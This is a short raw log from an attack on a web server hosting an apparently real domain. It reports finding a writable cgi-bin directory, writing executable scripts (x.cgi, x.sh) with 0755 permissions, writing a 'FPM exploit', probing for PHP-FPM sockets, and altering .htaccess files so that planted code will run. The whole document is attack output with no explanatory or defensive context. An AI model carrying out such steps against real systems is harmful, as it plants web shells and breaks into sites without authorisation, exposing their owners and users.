=== CGI-BIN Attack === Path: /var/www/virtual/nyikse.hu/cgi-bin/ Writable: YES Exists: YES Contents: ., .., cmd.cgi, fpm.php, x.cgi, x.sh Wrote /var/www/virtual/nyikse.hu/cgi-bin/x.cgi (perms: 0755) Wrote /var/www/virtual/nyikse.hu/cgi-bin/x.sh === Write FPM exploit to cgi-bin === Wrote FPM exploit === Search for FPM sockets === /var/run/php/: no access or empty /run/php/: no access or empty /var/run/: no access or empty /run/: no access or empty /tmp/php/: no access or empty === Write CGI to htdocs with .htaccess mods === Updated .htaccess in htdocs admin/.htaccess: RewriteEngine on # If a directory or a file exists, use the request directly RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d # Otherwise forward the request to index.php RewriteRule . index.php